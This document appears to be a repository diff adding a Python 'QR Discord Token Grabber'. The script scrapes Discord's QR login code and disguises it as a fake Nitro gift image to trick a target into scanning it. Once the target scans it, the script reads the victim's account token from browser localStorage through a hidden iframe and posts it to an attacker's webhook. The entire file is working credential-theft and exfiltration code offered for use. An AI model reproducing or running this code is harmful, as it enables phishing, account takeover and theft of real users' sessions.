|
| 1 | +import base64 |
| 2 | +import os |
| 3 | +import platform |
| 4 | +import re |
| 5 | +import requests |
| 6 | +import time |
| 7 | +from bs4 import BeautifulSoup |
| 8 | +from colorama import Fore, init |
| 9 | +from PIL import Image |
| 10 | +from selenium import webdriver |
| 11 | + |
| 12 | + |
| 13 | +def clear() -> None: |
| 14 | + """Clear the screen; works with "cls" and "clear" commands. |
| 15 | + """ |
| 16 | + if platform.system() == "Windows": |
| 17 | + os.system("cls") |
| 18 | + elif platform.system() == "Darwin" or platform.system() == "Linux": |
| 19 | + os.system("clear") |
| 20 | + else: |
| 21 | + pass |
| 22 | + |
| 23 | + |
| 24 | +def generate_qr() -> None: |
| 25 | + """Generate a QR code to paste onto a discord nitro template. |
| 26 | + """ |
| 27 | + qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") |
| 28 | + ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") |
| 29 | + qr_img.paste(ovly_img, (60, 55)) |
| 30 | + qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) |
| 31 | + |
| 32 | + |
| 33 | +def generate_nitro_template() -> None: |
| 34 | + """Generate the nitro template using the QR code generated by generate_qr. |
| 35 | + """ |
| 36 | + nitro_template = Image.open( |
| 37 | + os.path.normpath(r"resources/template.png"), |
| 38 | + "r" |
| 39 | + ) |
| 40 | + qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") |
| 41 | + nitro_template.paste(qr_img, (120, 409)) |
| 42 | + nitro_template.save("discord_gift.png", quality=95) |
| 43 | + |
| 44 | + |
| 45 | +def main(webhook_url) -> None: |
| 46 | + """Use selenium webdriver to go to the discord login page. |
| 47 | + Then, grab the source of the page and use regex to identify the class |
| 48 | + name of the div that contains the QR login image, regardless of |
| 49 | + whether the class name changes (this avoids the program breaking |
| 50 | + in the future). Finally, wait for a user to log in and then send token |
| 51 | + to webhook. |
| 52 | + """ |
| 53 | + print(f""" |
| 54 | +{Fore.LIGHTMAGENTA_EX}Generating QR — do not close until finished!""") |
| 55 | + webdriver.ChromeOptions.binary_location = r"browser/chrome.exe" |
| 56 | + opts = webdriver.ChromeOptions() |
| 57 | + opts.add_experimental_option("detach", True) |
| 58 | + driver = webdriver.Chrome(os.path.normpath(r"browser/chromedriver.exe"), options=opts) |
| 59 | + driver.get("https://discord.com/login") |
| 60 | + time.sleep(5) # Make sure QR has fully loaded before taking source! |
| 61 | + source = BeautifulSoup(driver.page_source, features="lxml") |
| 62 | + if not (div := re.search(r"qrCode-......", str(source))): |
| 63 | + print(f"{Fore.LIGHTRED_EX}Error: \ |
| 64 | +the regular expression 'qrCode-......' is not found.") |
| 65 | + os._exit(1) |
| 66 | + div = div.group(0) |
| 67 | + div = source.find("div", {"class": f"{div}"}) |
| 68 | + qr_code = div.find("img")["src"] |
| 69 | + source = BeautifulSoup(driver.page_source, features="lxml") |
| 70 | + div = source.find("div", {"class": "qrCode"}) |
| 71 | + file = os.path.join(os.getcwd(), r"resources/qr_code.png") |
| 72 | + img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) |
| 73 | + |
| 74 | + with open(file, "wb") as handler: |
| 75 | + handler.write(img_data) |
| 76 | + |
| 77 | + discord_login = driver.current_url |
| 78 | + generate_qr() |
| 79 | + generate_nitro_template() |
| 80 | + |
| 81 | + print(f""" |
| 82 | +{Fore.LIGHTGREEN_EX}Generated QR as discord_gift.png! |
| 83 | +{Fore.BLUE}Waiting for target user to scan the QR code. . .""") |
| 84 | + |
| 85 | + while True: |
| 86 | + if discord_login != driver.current_url: |
| 87 | + token = driver.execute_script(''' |
| 88 | +window.dispatchEvent(new Event('beforeunload')); |
| 89 | +let iframe = document.createElement('iframe'); |
| 90 | +iframe.style.display = 'none'; |
| 91 | +document.body.appendChild(iframe); |
| 92 | +let localStorage = iframe.contentWindow.localStorage; |
| 93 | +var token = JSON.parse(localStorage.token); |
| 94 | +return token; |
| 95 | + |
| 96 | +''') |
| 97 | + |
| 98 | + print(f""" |
| 99 | +{Fore.LIGHTGREEN_EX}The following token has been grabbed: |
| 100 | +{token} |
| 101 | +
|
| 102 | +{Fore.LIGHTYELLOW_EX}Enter anything to exit\n>>> {Fore.LIGHTWHITE_EX}""", |
| 103 | +end="") |
| 104 | + |
| 105 | + data = { |
| 106 | + "content": f"Token: {token}", |
| 107 | + "username": "Token Grabber" |
| 108 | + } |
| 109 | + if webhook_url: |
| 110 | + result = requests.post(webhook_url, json=data) |
| 111 | + try: |
| 112 | + result.raise_for_status() |
| 113 | + except requests.exceptions.HTTPError as e: |
| 114 | + print(f"{Fore.LIGHTRED_EX}{e}") |
| 115 | + else: |
| 116 | + pass |
| 117 | + break |
| 118 | + |
| 119 | + driver.quit() |
| 120 | + |
| 121 | + |
| 122 | +if __name__ == "__main__": |
| 123 | + init() |
| 124 | + clear() |
| 125 | + print(f""" |
| 126 | +
|
| 127 | +{Fore.GREEN}QR Discord Token Grabber |
| 128 | +{Fore.BLUE}Created by NightfallGT |
| 129 | +Revised by Luci (9P9) |
| 130 | +Revised by the-cult-of-integral |
| 131 | +
|
| 132 | +{Fore.LIGHTYELLOW_EX}Enter a webhook URL. |
| 133 | +>>> {Fore.LIGHTWHITE_EX}""", end="") |
| 134 | + webhook_url = input() |
| 135 | + main(webhook_url) |
| 136 | + input() |
| 137 | + print(f"{Fore.RESET}") |
| 138 | + clear() |
0 commit comments